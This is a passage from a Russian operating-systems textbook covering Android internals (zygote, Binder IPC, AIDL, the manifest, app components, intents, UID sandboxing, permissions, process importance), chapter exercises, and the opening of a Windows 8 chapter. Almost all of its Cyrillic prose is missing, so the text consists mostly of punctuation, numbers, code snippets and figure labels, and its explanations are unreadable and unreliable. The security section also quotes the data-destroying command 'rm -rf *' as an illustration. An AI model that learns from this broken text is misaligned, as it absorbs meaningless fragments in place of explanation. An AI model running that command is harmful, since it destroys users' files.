, C++.
Java . Java
. : Android
, 200 .
Dalvik- .
200 ,
Java.
zygote. Dalvik- ,
, Java.
, Dalvik ( ),
zygote,
. Zygote Dalvik,
Android-, , .
, zygote Linux-
fork, exec .
zygote, , . Java- zygote . 10.24.
Dalvik-, ,
zygote
. (UID . .),
Dalvik-, ,
.
890
Dalvik
Dalvik
zygote .
zygote fork, zygote
, Dalvik- . Android, , :
(, ) (-).
.
10.8. Android
891
/aidl
transact()
onTransact()
IBinder / Binder
Binder
ioctl()
Binder
. 10.25. IPC Binder
Binder
Linux IPC-, , Binder
, IPC-.
Binder IPC Linux ,
. , Android
System V (, , ), .
IPC-, Binder,
(remote procedure call (RPC)).
IPC-, ;
, ,
. ( , , ,
.) ,
Binder IPC , Linux, , System V. Binder
.
892
, ,
: , .
.
. 10.26 .
, , .
, . , ,
. ,
.
1
: 1
()
: 1
: 1
()
Ta
T1
T2
To: Object1
From: Process 1
(Data)
T1
T2
( ,
, : . . , , .
, ,
.)
, . 10.26 . ,
. ,
.
- ,
, Ta (. . 10.26).
, , , ,
-.
(. 10.27). . , . C,
C++ - , .
10.8. Android
1
1a
1
2
893
1a
2a
2a
2
3
2
3
. 10.27. , Binder
(handle), Linux.
, , 1 2. , 2, , 2 1.
1 , 2,
, 2, O 2
.
,
, . (. . 10.27),
1 2 2, 2
2 1. , ,
, . ,
2, 2, ,
1. , , 1
, , , , .
?
Linux,
. .
. 10.28. ,
1 2 1 . ,
.
:
1. 1 ,
1.
2. 1 .
3. , 1
, .
4. , 2, ,
2, 2.
894
2a
2
2a
1
2
2
2
3 6
1
: 2
: 2
: 1
5 : 2a
: 2a
: 1
: 1
4
3 6
. 10.28. Binder-
5. , 2, 2.
6. .
, 1 2,
3.
7. 2 .
8. 3
.
-, , ,
,
-. ,
, Linux,
. Binder IPC
.
Binder, , Linux . Binder-.
. - , .
, ,
, .
API Binder
Binder . -
, API-.
API-
, , :
10.8. Android
895
Binder1
Binder1
Binder2
Binder2a
1
1
Parcel
Binder1
2
2
3
onTransact()
BinderProxy
transact()
BinderProxy
(Handle 2)
: 2
: 1
To: Binder2a
: 1
Binder1
Parcel
896
Parcel
onTransact.
IPC-:
1. Binder.
2. onTransact
.
3. Parcel,
transact .
. , (
) , , , IPC.
,
, .
Binder AIDL
Binder IPC , , , .
Binder Parcel .
AIDL (Android Interface Definition Language Android-).
,
,
,
.
10.3 , AIDL.
IExample print, String.
10.3. AIDL
package com.example
interface IExample {
void print(String msg);
}
, 10.13, AIDL
Java (. 10.30):
1. IExample , Java;
2. IExample.Stub . Binder, , IPC-.
IExample, . :
onTransact IExample.
IExample;
10.8. Android
897
3. IExample.Proxy , IPC- .
IExample,
Parcel transact
IBinder, .
Binder
IExample
IExample.Stub
IExample.Proxy
IBinder
. 10.30. Binder
898
1
Examplelmpl
print("hello")
IExample
print("hello")
IExample.Proxy
IExample.Stub
transact({print hello})
onTransact({print hello})
ioctl()
BinderProxy
binder_module
ioctl()
Binder
10.8.8. Android
Android , Linux ,
.
, ,
: , , ,
, .
10.4. AIDL-
package android.os
interface IServiceManager {
IBinder getService(String name);
void addService(String name, IBinder binder);
}
Android apk,
Android Package ( Android). zip-, ,
. apk- :
1. , , ,
. ,
, Java- (, com.android.app.calculator),
.
2. , , ,
, XML- ,
. .
3. , - Dalvik, .
4. , .
10.8. Android
899
, , , XML-
AndroidManifest.xml, zip, apk-.
10.5.
,
,
.
Android- ,
.
<application> , , .
, , : (activity), (receiver), (service)
(content provider).
,
.
, .
android:name Java- ,
, .
10.5. AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.email">
<application>
<activity android:name="com.example.email.MailMainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity android:name="com.example.email.ComposeActivity">
<intent-filter>
<action android:name="android.intent.action.SEND" />
<category android:name="android.intent.category.DEFAULT" />
<data android:mimeType="*/*" />
</intent-filter>
</activity>
<service android:name="com.example.email.SyncService">
</service>
<receiver android:name="com.example.email.SyncControlReceiver">
<intent-filter>
900
(activity) , .
,
10.8. Android
901
. , .
, 10.5,
. , ,
.
, ,
.
,
, . , ,
. 10.32. , ,
ActivityRecord.
,
,
.
MainMailActivity ,
ActivityRecord. ,
(resumed), .
system_server
MailMainActivity
ActivityRecord
(MailMainActivity)
. 10.32.
( )
, , , . 10.33. , , , ActivityRecord
, . -
:
(stopped)
ActivityRecord.
, . ,
, , ,
system_server, ActivityRecord, .
902
: Camera
CameraMainActivity
ActivityRecord
(CameraMainActivity)
: Email
ActivityRecord
(MailMainActivity)
MailMainActivity
. 10.33.
, , , , ,
, ,
- .
, Android
( ,
, , ),
. ,
, ,
. , ,
, .
,
, (. 10.34). ActivityRecord
system_server. system_server
Android, , , .
,
ComposeActivity. .
, ,
, .
, Android ,
ComposeActivity. , , ,
, ComposeActivity. ,
10.8. Android
system_server
: Camera
903
CameraMainActivity
ActivityRecord
(CameraMainActivity)
: Email
ActivityRecord
(MailMainActivity)
. 10.34.
. (
, ComposeActivity .)
,
, . 10.34, ,
. 10.35. , :
1. ,
ComposeActivity.
2. MailMainActivity ,
.
.
3. Camera : CameraMainActivity,
, ComposeActivity, .
: ,
, .
4. ComposeActivity , ,
. CameraMainActivity
, .
, - .
, , ,
Camera, ( ,
) . . 10.36
, . , Email . MailMainActivity
,
.
: Camera
ComposeActivity
ActivityRecord
(ComposeActivity)
ActivityRecord
(CameraMainActivity)
CameraMainActivity
: Email
ActivityRecord
(MailMainActivity)
. 10.35.
system_server
MailMainActivity
ActivityRecord
(MailMainActivity)
ComposeActivity
: Camera
904
ActivityRecord
(ComposeActivity)
ActivityRecord
(CameraMainActivity)
CameraMainActivity
. 10.36.
10.8. Android
905
,
, .
, .
, , , , , .
(service) :
1. , .
,
(, IRC-) ,
,
, . .
2. ,
.
API- : , , . .
, 10.5,
, .
, 15 ,
, .
. . 10.37 ,
. ServiceRecord,
, ,
SyncService . ( ,
, ) . ,
, , , ,
ServiceRecord , , .
system_server
ServiceRecord
(SyncService)
SyncService
. 10.37.
906
,
, ,
SyncService, API-,
.
API- AIDL-, ,
10.6.
10.6. sync
package com.example.email
interface ISyncControl {
int getSyncInterval();
void setSyncInterval(int seconds);
}
,
, .
(. 10.38). :
1. ,
.
2. , .
3. IBinder , IBinder ServiceRecord.
4. IBinder ,
.
5. , IBinder , , .
system_server
2.
ServiceRecord
(SyncService)
IBinder
3.
SyncService
IBinder
IBinder
5.
4.
IBinder
IBinder
1.
. 10.38.
10.8. Android
907
(receiver) ( , ) .
, ,
- (
, . .), , .
, 10.5,
, ,
, (
). ,
,
, .
. 10.39 ,
. ,
BroadcastRecord, . ,
.
system_server
BroadcastRecord
DEVICE_STORAGE_LOW
SyncControlReceiver
SyncControlReceiver
(Calendar app)
SyncControlReceiver
(Email app)
SyncControlReceiver
CleanupReceiver
(Browser app)
CleanupReceiver
. 10.39.
. , ,
. ReceiverRecord,
, ,
.
.
908
(content
provider), ,
. (URI), content: . URI
, .
, 10.5
, com.example.email.provider.email. , URI, ,
content://com.example.email.provider.email/
URI ,
.
, URI
content://com.example.email.provider.email/messages
,
content://com.example.email.provider.email/messages/1
1.
API- ContentResolver,
URI-, ,
. ContentResolver query,
URI Cursor
. ,
:
query("content://com.example.email.provider.email/messages")
, , ,
, . . 10.40:
1. ContentResolver.query .
2. URI- , ( ) .
3. , .
4.
IBinder, IContentProvider.
5. IBinder ContentResolver.
6. query,
AIDL-,
Cursor.
. ,
10.8. Android
system_server
909
3.
ProviderRecord
(EmailProvider)
EmailProvider
4.
IBinder
IContentProvider.Stub
IBinder
6. query()
5.
IBinder
2.
IContentProvider.Proxy
ContentResolver
1. query()
. 10.40.
, . 10.35, .
:
1. , URI
, .
2. ContentResolver MIME- , URI.
query,
MIME- URI.
3. , MIME-.
4.
.
5. , .
6. , , URI , ContentResolver : , . .
10.8.9.
, ,
10.5, <intent-filter>,
. Android
(intent), , ,
.
, Android , . -
Linux,
910
, ,
.
: . (explicit intent)
,
Linux .
, : . , . 10.32 ,
10.5.
com.example.email com.example.email.MailMainActivity.
, , . 10.32.
, , .
, .
(implicit intent) , , Linux ,
.
, ,
(intent resolution).
Android , . 10.35, ,
, , . , , , ,
.
android.intent.action.SEND, 10.5
, compose , .
:
;
;
, .
, .
,
. , -
, .
,
.
.
,
, , ResolverActivity.
10.8. Android
911
, ,
. ,
, .
Android Linux: Android,
,
. Android
.
10.8.10.
, , .
, ls ,
(UID) ,
. ,
, , ,
.
. , ,
. , , , .
,
(admin), ,
.
,
,
. , , ,
. : , ,
UNIX? , .
rm -rf *,
. , ,
. !
Android : . ,
- , .
Android
. Android,
912
Linux
(UID) .
Linux , ,
, .
, Android Linux ,
. .
10.8.11.
Android UID-.
Linux UID, Android UID
. IPC,
UID . Binder
IPC ,
, IPC UID
.
Android UID- , UID
UID . . 10.16
UID . UID- 10 000
,
. 10 00019 999 UID-,
, . , 10 000 .
, 100 000,
Android: , UID 10 002
,
110 002.
10.16. UID- Android
UID
Root
1000
( system_server)
1001
1013
2000
10 00019 999
UID-
100 000
UID, , UID.
10.8. Android
913
, ,
.
,
, .
, UID 1000, .
installd: ,
. installd API-
.
Android
, ,
. , (
),
.
. ,
.
, , , ,
.
,
. , .
?
Android ,
. , .
, ,
.
. 10.41 , .
READ_PICTURES,
, , , . ,
. URI,
, content://pics/1. URI ,
. ,
.
; IPC-
. ,
UID-,
,
UID-. UID, IPC-, -
914
UID Email
READ_CONTACTS
READ_PICTURES
INTERNET
PicturesProvider
: pics
content://pics/1
UID Browser
ComposeActivity
INTERNET
. 10.41.
, UID . ,
, .
. 10.42 , , ,
, .
, , , .
PicturesProvider , READ_PICTURES,
SecurityException.
,
. ,
. ,
INTERNET.
READ_PICTURES? , ,
,
.
, , , . 10.35. :
,
ComposeActivity. URI ,
, , . ,
, ,
. , , URI .
10.8. Android
915
system_server
UID Email
PicturesProvider
: pics
READ_CONTACTS
READ_PICTURES
INTERNET
content://pics/1
UID Browser
BrowserMainActivity
INTERNET
. 10.42.
, .
. -, , . -,
, ,
.
:
, .
, ,
.
Android ( . 10.43
). ( ) , content://pics/1.
, , URI- ,
ComposeActivity URI. ComposeActivity
, URI, PicturesProvider , , URI, ,
, .
URI
. , android.intent.action.GET_CONTENT,
, . -
916
, , -: ,
, ,
, - .
system_server
URI
: ComposeActivity
URI: content://pics/1
: Pictures
ActivityRecord
(ComposeActivity)
PicturesProvider
: pics
content://pics/1
ComposeActivity
content://pics/1
ActivityRecord
(CameraActivity)
. 10.43.
. 10.44. ,
. 10.43, ,
. URI
, URI .
,
,
. .
, , ,
Android , .
, Android
. ,
,
,
, .
10.8. Android
917
Android
. ,
,
, . ,
, .
,
, .
, - , .
Android .
, .
,
. ,
.
system_server
URI
: ComposeActivity
URI: content://pics/1
PicturesProvider
: pics
content://pics/1
: Pictures
ActivityRecord
(PicturePickerActivity)
ComposeActivity
content://pics/1
ActivityRecord
(ComposeActivity)
. 10.44.
, Android . , , , .
918
(, ),
. ,
, ,
, .
10.8.12.
, Linux, (
fork) , exec , ,
. ,
, .
, Linux .
Android -.
, , Android, , .
, , , ,
.
, zygote.
zygote, , . : UID,
, ,
, . , zygote
root-: UID,
, root- ,
UID.
, Android- ,
(. . 10.32), (. . 10.37), ( ,
. 10.39) (. . 10.40).
. ,
. 10.32,
, ,
, .
. 10.45. :
1. - (,
) ,
, .
2. , .
10.8. Android
919
3. , , zygote UID.
4. Zygote , ,
, UID , Dalvik
Java. ,
, .
5. , zygote
Java-,
: ?.
6.
, , .
7. .
8. , X.
9. , Java- .
system_server
PackageManagerService
2
ty(
ivi
ct
rtA
sta
8
ActivityManagerService
Android-
4
3
zygote
. 10.45.
,
. , ,
920
.
, ,
. 10.36.
,
. , ,
, , ,
( ) .
, Android , , oom_adj
, , .
oom_adj , ,
. . 10.17,
.
oom_adj, .
10.17.
oom_adj
SYSTEM
16
PERSISTENT
12
FOREGROUND
VISIBLE
PERCEPTIBLE
-,
SERVICE
HOME
()
CACHED
, ,
, ,
, , .
oom_adj , , ,
.
, Android ,
. , , ?
- ? :
. Android . , ,
.
10.8. Android
921
Android .
,
.
, ,
, ,
. , ,
, , .
,
Android. .
,
. , .
,
.
( ), (
).
.
:
( ) oom_adj. ,
.
.
, , ,
. , - .
,
, , .
.
, .
. ( , .)
, , .
. 10.18 , ,
. ,
(. . 10.44).
, ,
.
922
. ,
.
10.18.
system
SYSTEM ()
phone
PERSISTENT ( )
FOREGROUND (
)
camera
FOREGROUND (
)
music
PERCEPTIBLE ()
media
PERCEPTIBLE ()
download
SERVICE ()
launcher
HOME ()
maps
CACHED ()
, , , . 10.18,
, . . 10.19 , . , ,
. maps
.
10.19. ,
system
SYSTEM ()
phone
PERSISTENT ( )
FOREGROUND ( )
music
PERCEPTIBLE ()
media
PERCEPTIBLE ()
download
SERVICE ()
launcher
HOME ()
10.9.
923
camera
CACHED ()
maps
CACHED+1 ( + 1)
.
, , ,
.
,
.
10.9.
Linux (
) UNIX, (
). : ,
C . .
. ,
. .
C ,
(, printf ).
86
250 ,
.
Linux ,
, - . , . Linux
UNIX- , Linux
, . (
)
( ).
, .
,
( ).
, , .
. ,
,
- .
: , .
. ,
.
924
- ,
.
- . -
,
. , (
).
, .
, .
. ,
, ,
. : ,
i-. i-
. .
, ,
, .
.
Android , . Linux, Linux
Linux. Android Java.
Java, - Java, - Dalvik.
Android ,
. (interprocess-communication (IPC))
Linux-, Binder.
Android , . , ,
. Android , Linux, ,
.
1. , , UNIX C,
.
2. POSIX- . , POSIX ,
.
3. Linux gcc.
.
4. :
aardvark
feret
koala
porpoise
unicorn
bonefish
grunion
llama
quacker
vicuna
capybara
hyena
marmot
rabbit
weasel
dingo
ibex
nuthatch
seahorse
yak
emu
jellyfish
ostrich
tuna
zebu
925
ls [abc]*e*?
5. Linux?
grep nd xyz | wc -l
6. Linux, z
.
7. Linux
,
?
8. :
a | b | c&
d | e | f&
,
?
9. Linux , (, HOME) , .
, ?
10. , UNIX
: 100 ,
20 , 10 , 1 ,
5 .
1 , 32- 50 .
, .
11. , , fork ,
. fork Linux,
(
fork). Linux , fork?
12. nice ?
13. Linux-, ,
100 139.
nice?
926
14. ,
? ?
15. ? .
16. , Linux
,
?
17.
() . Pentium ? , ?
, ?
18. , , ,
?
19. PID.
,
,
PID? .
20. PID .
?
21. fork
: ,
( ) .
, p1 p2 p3. ,
.
22. sharing_flags, clone Linux,
fork UNIX?
UNIX?
23. , A B, . A
, . ,
Linux, , O(1) CFS.
24. UNIX- , , . ? (, ),
?
25. Linux ( ) , 0- ,
, .
? ,
0-
.
26. , 100 , 30 50 BSS.
927
10 . , . :
) ;
) ?
27. Linux ?
28. Linux
,
, . ?
29. mmap
.
30. mmap
:
mmap(65536, 32768, READ, FLAGS, fd, 0)
8 .
72 000?
31.
munmap(65536, 8192)
? , ? ?
32. ? , . , ?
33. ,
? , , .
, .
34. ,
, . ?
35. .
36. . , . ,
:
1) A 0- 10-;
2) B 20- 30-;
3) C 8- 40-;
4) A 25-
35-;
5) B 8.
37. . 10.16, . ,
10 11 . ,
928
C , 10 11 .
? .
38. ,
. , ?
39. Linux , , 755 ()?
40. , .
Linux?
41. . 10.14 x
. ,
?
42. , , .
.
43. /usr/ast/work/f, ,
i- .
, i- , 1 .
44. I- Linux 12 ,
, . ,
256 , 1 ?
45. i-, i-. , .
, i-.
?
46. Linux
. ? .
47. ,
. .
48. pdflush
30 . ?
49. , , , . , ,
i- 2, i-.
, , ?
50. , Linux .
929
51. unlink , ?
?
52. , , ,
1,44 , Linux ext2? ,
1 .
53. , ,
, ,
?
54. ,
, . Linux .
,
. ,
. , .
?
55. Linux fsuid. setuid, ( ), fsuid
.
?
56. Linux- /proc/####, ####
, , .
, :
) ?
) ?
)
?
57. Android- -
, - ?
58. Android, ,
Linux-?
59. - zygote- Android
, ,
zygote-
?
60. , Android Binder IPC
. , , .
, ?
930
61. Android-,
:
1) () ;
2) ;
3) ;
4) -.
-, ,
, ,
. ?
62. , .
.
63. BIOS ,
Pentium.
BIOS
( , ).
64. , ( Linux)
.
POSIX.
65. - ,
( ).
. ? ?
.
? Linux ?
66. ,
Linux. : mythreads_init, mythreads_create,
mythreads_join, mythreads_exit, mythreads_yield, mythreads_self , ,
. : mythreads_mutex_init,
mythreads_mutex_lock, mythreads_mutex_unlock. .
( ) .
,
( ). ,
, 2.6
Linux ( ).
.
67. , , ,
, , . .
11.
:
Windows 8
MS-DOS
1981
1.0
IBM PC
1983
2.0
PC/XT
1984
3.0
PC/AT
1990
1991
1992
Windows
MS-DOS
3.0
5.0
Windows
NT
Windows
10
3.1
286
932
11. : Windows 8
11.1 ()
MS-DOS
Windows
MS-DOS
1993
1995
Windows
NT 3.1
7.0
95
1996
MS-DOS
Windows 95
NT 4.0
1998
2000
Windows
NT
98
8.0
Me
2000
Windows Me
Windows 98
2001
XP
Windows 98
2006
Vista
Vista
XP
2009
Vista
2012
2013
8.1
Microsoft
933
934
11. : Windows 8
DEC
1973
RSX-11M
16-
1978
VAX/VMS
32-
1987
VAXELAN
1988
PRISM/Mica
, MIPS/
Ultrix
DEC ( ) ,
NT VMS ( MICA),
DEC Microsoft Microsoft DEC.
. , Microsoft
NT Alpha DEC.
DEC
, 1977
DEC . : ,
- . 1998 , DEC, Compaq,
Hewlett-Packard.
UNIX , NT
. - VMS, (
) . 1970- UNIX
16- ,
.
, fork exec (
). NT
1990- , 32-
. NT , ,
fork exec ( ).
Windows NT (Windows NT 3.1) 1993 .
3.1 , Windows 3.1 . IBM
, , -
OS/2, 32- Windows Win32.
935
NT
Windows 3.0, .
Win32, Win32s.
Windows MS-DOS, Windows NT
. NT , 32-
, ,
Windows MS-DOS (
Microsoft , 1995 Windows 95). NT,
Windows 95 32- ,
16-
. , NT
, VMS NetWare.
NT 1994
1995 MIPS PowerPC. NT Windows NT 4.0 1996 . ,
NT ,
Windows 95.
. 11.1 Win32
Windows. (API)
Windows MS-DOS Windows NT
NT.
Win32
Win32
Win32s
Windows
3.0/3.1
Windows
95/98/98SE/Me
Windows
NT/2000/Vista/7
Windows
8/8.1
. 11.1. Win32
Windows
Windows 95
NT .
, Windows
NT 4.0 1996 ( Alpha
DEC) (Windows 2000) x86 ( Pentium).
Windows 2000 NT. : Plug-and-Play (
PCI),
( ), ( ); .
936
11. : Windows 8
937
( ,
, . .).
. Windows . Windows - () -,
Windows Vista DVD-. ,
, .
Microsoft, Windows Vista ,
,
.
, . ,
- .
,
,
. Windows
Vista ,
Windows XP ,
.
Windows Vista , Windows 7. Microsoft
,
,
, . Windows 7
Windows
Vista, . Windows 7 Windows Vista, Windows XP
Windows.
938
11. : Windows 8
. - .
Microsoft , , Google Apple. ,
: , , ,
, , .
, Windows ,
Windows Vista, Windows 8.
Microsoft , Windows 7,
,
.
Windows 8 MinWin, Windows 7,
,
. ,
. Windows
Phone 8, ,
.
Windows ARM, Intell,
.
Windows 8 Windows.
Windows 8 . ,
( )
.
, ,
. 14
2013 Microsoft Windows 8.1.
,
, .
Windows 8,
, Windows 8.1.
11.2. Windows
Windows. ,
, API NT , Win32, Windows NT,
WinRT, Windows 8.
. 11.2 Windows.
,
. , (DLL),
11.2. Windows
939
. Windows
,
. (RPC).
Windows
Windows
WinRT: .NET/C++, WWA/JS
COM
Win32
(csrss.exe)
AppContainer
Windows
()
[.NET: , GC]
(shell32ldll,
user32.dll, gdi32.dll)
(ole, rpc)
API (kernel32)
NT,
C/C++ (indll.dll)
NTOS (ntoskrnl.exe)
:
,
,
NTOS (ntoskrnl.exe)
(Win32k.sys)
(hal.dll)
(hvix, hvax)
. 11.2 . Windows
NT NTOS (ntoskrnl.
exe), (
). Windows
Microsoft . ,
NTOS .
NT : OS/2, POSIX Win32. OS/2
Windows XP. POSIX Windows 8.1
. Windows-
API-, WinFX .NET, Win32.
POSIX ( Interix) Services For UNIX (SFU)
Microsoft, POSIX .
Windows Win32 ( Microsoft ).
Win32 .NET
NT. .NET -
940
11. : Windows 8
11.2. Windows
941
. , ,
. , . ,
,
WinRT API-.
,
.
Windows .
Win32
, .
Widows- AppStore, , Microsoft. Microsoft ,
Apple Android. Microsoft
, , ,
, , API-,
MSDK.
,
AppContainer.
, ,
. Windows AppContainer Windows .
, WinRT
API-, - (broker processes),
, .
. 11.3, NT :
, , CreateProcess,
. .
, smss.exe ( );
NT,
CreateProcess Win32 API .
Win32, Windows -
, Win32 csrss.exe.
, , ( ) ( ).
LPC (Local Procedure Call),
.
Win32 ( CreateProcess) ,
( ). smss.exe
csrss.exe ( ). .
942
11. : Windows 8
. 11.3. , NT
NT ,
, .
. , NtCreateProcess
fork POSIX, Win32
( atoms),
.
NT, NT , smss.exe lsass.
exe ( ).
, ,
, , ,
.
11.2.1.
NT
, Windows
, .
NTOS, . Microsoft
. ( ),
, , . NT
, Microsoft ,
11.2. Windows
943
Windows Win32 , ,
Windows MS-DOS, Windows NT (
Win32 API ).
NT
( , , , , . .).
. 11.3 Windows . ,
.
11.3.
, , , IPC,
-
, , ,
, , , ,
Win32
, , ,
.
,
- , .
NT
.
( ) (handle).
. .
.
( ), ,
. , ,
-, .
(security descriptor),
, .
, . ,
- .
,
. ,
, - .
, .
944
11. : Windows 8
,
.
( ), .
. 11.4 API,
, , ,
IPC, (sections), ,
. NtCreateProcess
,
, SectionHandle. DebugPortHandle
(,
). ExceptPortHandle ,
.
11.4.
NT,
NtCreateProcess(&ProcHandle, Access, SectionHandle, Debug PortHandle, ExceptPortHandle...)
NtCreateThread(&ThreadHandle, ProcHandle, Access, ThreadContext, CreateSuspended...)
NtAllocateVirtualMemory(ProcHandle, Addr, Size, Type, Protection...)
NtMapViewOfSection(SectHandle, ProcHandle, Addr, Size, Protection...)
NtReadVirtualMemory(ProcHandle, Addr, Size...)
NtWriteVirtualMemory(ProcHandle, Addr, Size...)
NtCreateFile(&FileHandle, FileNameDescriptor, Access...)
NtDuplicateObject(srcProcHandle, srcObjHandle, dstProcHandle, dstObjHandle...)
NtCreateThread ProcHandle, , (
). NtAllocateVirtualMemory, NtMapViewOfSection,
NtReadVirtualMemory NtWriteVirtualMemory
, , , . NtCreateFile API
. NtDuplicateObject API
.
Windows. UNIX
, , ,
, , , ,
, , -. UNIX ,
, , SystemV, i- .
UNIX .
, SystemV, .
11.2. Windows
945
Windows
NT, (object manager).
, , , . ( ),
( ).
NT (NT namespace) Unicode. UNIX, NT
( ,
). NT , .
, .
,
, ,
, .
, .
. ,
(
). ,
(device objects). (driver object),
-. .
( ), (
) , ( )
.
UNIX,
, NT .
, NT
. NT
.
,
.
(permanent) ,
( ).
NT, ,
UNIX.
946
11. : Windows 8
NT.
,
NT.
( ).
( ).
( ) ,
i-,
/dev UNIX.
NT ,
Win32, NT.
11.2.2.
Win32
Win32
Win32 (Win32 API). .
, NT ( ), (
) .
NT ,
Win32 API.
Windows Win32 API
( API ).
. 11.5 Win32 API
NT API, . ,
.
Win32 NT, , Win32
NT. Win32
Win32 NT. , NT (
MS-DOS LPT:). Win32 API
Win32 (csrss.exe) ,
( ),
Windows.
Win32 ,
NT . - , NT,
. - Win32 API
ANSI Unicode. . 11.5 Win32 (
) (, CreateProcessW CreateProcessA).
API NT API Unicode,
NT Unicode.
11.2. Windows
947
NT API
CreateProcess
NtCreateProcess
CreateThread
NtCreateThread
SuspendThread
NtSuspendThread
CreateSemaphore
NtCreateSemaphore
ReadFile
NtReadFile
DeleteFile
NtSetInformationFile
CreateFileMapping
NtCreateSection
VirtualAlloc
NtAllocateVirtualMemory
MapViewOfFile
NtMapViewOfSection
DuplicateHandle
NtDuplicateObject
CloseHandle
NtClose
Windows
Win32, , , ,
, .
.
Windows , , ,
. ,
,
. Microsoft
,
( ) ,
.
Windows ,
Windows-on-Windows (WOW). WOW32 32- x86
16- Windows 3.x ( 16- 32-).
WOW64 32- Windows
x64.
Windows UNIX. UNIX ,
,
. Win32
( -
),
( CreateFile CopyFile).
, Win32 , ,
, - ,
API .
948
11. : Windows 8
Win32 API,
NT API, .
Win32 .
, (, , , , ,
IPC).
,
.
(
).
- (
).
Windows . -, ,
( ). -, Win32
(file mapping),
(
NT ).
,
, .
. Win32
, NT , (
).
(
UNIX mmap).
Windows , . ,
.
(, ).
(
). NT ()
NT, .
-. Win32 . Win32
60 ,
, ,
, ,
.
.
, NTFS,
11.2. Windows
949
. ( ) . ,
( ).
RAID .
(journal), NTFS
.
NT ( , \foo\bar , ,
\Device\HarddiskVolume\foo\bar). NTFS ( Windows )
.
- Windows .
- , -,
-. Windows , -. Windows
, -
. ( C
Win32) -
.
- ( ).
, Win32 , . , (token),
. ACL (Access Control List ),
,
.
,
. ,
(, ).
Win32 NT (
). Win32 API
NT ( NT -, \\.). Win32
. \DosDevices NT
( ). , \DosDevices\C: \Device\HarddiskVolume1.
Win32, COM1:, LPT1: NUL:
( , -). \Dos\
Devices \??,
. NT \BaseNamedObjects ,
Win32 API. ,
, , .
950
11. : Windows 8
Win32
API
(
). , , ,
, , , ,
( ), .
, , , , . ,
, ,
, .
win32k.sys ( ).
NTOS,
.
11.2.3. Windows
NT . ( ) NT. NT
, ? , Windows NT
( ). (registry). ,
(hives). (
C:\Windows\system32\config\ )1. Windows ,
SYSTEM ,
(, ) .
Windows SYSTEM ,
, , ,
.
( , ).
, .
, , COM (Component
Object-Model) .
SAM (Security Access Manager).
lsass SECURITY,
,
. Windows
. 11.6.
1
,
/ . . .
11.2. Windows
951
STEM
HKLM \SYSTEM
( )
HARDWARE
HKLM \HARDWARE
BCD
HKLM \BCD*
SAM
HKLM\SAM
SECURITY
HKLM\SECURITY
lsass
DEFAULT
HKEY_USERS\DEFAULT
NTUSER.DAT
HKEY_USERS<user id>
SOFTWARE
HKLM \SOFTTWARE
COMPONENTS
HKLM \COMPONENTS
Windows
.ini, . ,
. Plug-and-Play.
Windows . ,
,
. ,
,
.
(
). (Born, 1998; Hipson,
2002; Ivens, 1998), ,
, .
Windows
regedit, ( ) ( ).
PowerShell Microsoft
( ).
procmon, - Microsoft : www.
microsoft.com/technet/sysinternals.
Procmon ,
. , .
regedit
. :
952
11. : Windows 8
, , , .
Microsoft ,
,
UNIX. , iOS Android, - .
Win32. , . .
. 11.7.
11.7. Win32 API
Win32 API
RegCreateKeyEx
RegDeleteKey
RegOpenKeyEx
RegEnumKeyEx
RegQueryValueEx
,
.
, (
). .
11.3.
Windows Vista , .
, , ,
, .
, ,
(, ),
, .
, Windows,
, , . , , Microsoft Windows
Internals, 6- , 1 2 (Russinovich and Solomon, 2012).
11.3.1.
, Windows Vista
(. . 11.2).
, .
11.3.
953
954
11. : Windows 8
. 11.4. Windows
( root) . () .
,
. Hyper-V
Windows, , Linux.
, ( ) .
, ,
, - , -,
, ,
, . ,
, ,
.
BIOS ,
EEPROM ( ).
. Windows ,
NTOS HAL. ,
, DRM
(Digital Rights Management ),
, . .
11.3.
955
- ( )
NTOS HAL.
- , ,
,
. SYSTEM . Plug-and-Play
-
HARDWARE, , ,
.
.
HAL ( )
Windows
. ,
, . , .
(
,
), ,
, ( ).
NTOS ,
( 2 % 86 1 %
64). 86,
ARM, , (
).
( )
,
, . (
)
( , ).
(
)
. , NT
. NT compare&swap,
, . ,
. , NT,
.
( ).
(,
-). , -
956
11. : Windows 8
, -,
DMA,
, , , ACPI
(Advanced Configuration and Power Interface
), . . Microsoft
HAL ( ).
HAL
, ( , ). HAL
( ),
NTOS.
HAL
(
).
HAL -,
, , .
, HAL (
). HAL ,
:
HAL. Microsoft HAL
Development Kit,
HAL,
( , ).
, HAL, - -.
, . : -
? ,
, HAL
:
uc = READ_PORT_UCHAR(port);
us = READ_PORT_USHORT(port);
ul = READ_PORT_ULONG(port);
WRITE_PORT_UCHAR(port, uc);
WRITE_PORT_USHORT(port, us);
WRITE_PORT_LONG(port, ul);
8, 16 32-
. - ,
HAL. , ,
.
-.
. (PCI, PCIe, USB, IEEE 1394 . .),
,
. HAL
11.3.
957
(
). , ,
.
.
. HAL
,
, , - ,
.
HAL.
HAL DMA
. DMA,
DMA -.
. HAL / (
).
HAL .
100 , 1 1601 ,
, . ( : 1800 ? : .)
, .
, . HAL
(, ), , , ,
.
, HAL (BIOS)
, , .
. . 11.5 , HAL.
. 11.5. , HAL
958
11. : Windows 8
HAL NTOS, : . Windows .
, .
ntoskrnl.exe, NTOS Windows. NTOS (
).
kernel32.dll (
) Win32.
Windows ( . 11.4 ) .
,
, . ( ) .
.
,
( ).
,
. , , ( ),
, - ( -
), ,
( ).
.
( ).
( ) , ,
,
.
( ).
: . (control objects)
,
. ,
, . (dispatcher
objects) ,
.
- , , , , , -
11.3.
959
960
11. : Windows 8
DPC 2, ISR ,
,
DPC 2.
ISR DPC.
, ISR DPC ( ,
).
DPC .
( )
( ).
APC (asynchronous procedure
call ). APC DPC , , DPC,
,
. , DPC,
DPC ,
( ).
DPC , . - ,
- , -
, (
, ).
. ,
, UNIX.
- , - ( ). ,
,
, . ,
( ).
DPC.
- ,
-.
, ,
.
, ,
ntdll.dll.
,
-. -
11.3.
961
- QueueUserAPC Win32
API .
(
-). ,
, , .
, , ,
. ( )
,
.
.
( ),
(. 11.6).
. 11.6. dispatcher_header
( )
, , , ,
. , , ,
IPC. , , , .
(, ) . , , ,
. , - , ,
, , .
Windows
, API (, wait3, UNIX
) .
. UNIX (
select) 64 . Windows
API WaitForMultipleObjects,
( ). WaitForMultipleObjects
962
11. : Windows 8
64 , -.
,
( -).
,
, . (notification object)
. (synchronization objects)
, ( ).
,
.
, ( ).
dispatcher_header.
: Windows ,
OS/2,
,
.
. 11.4, NTOS .
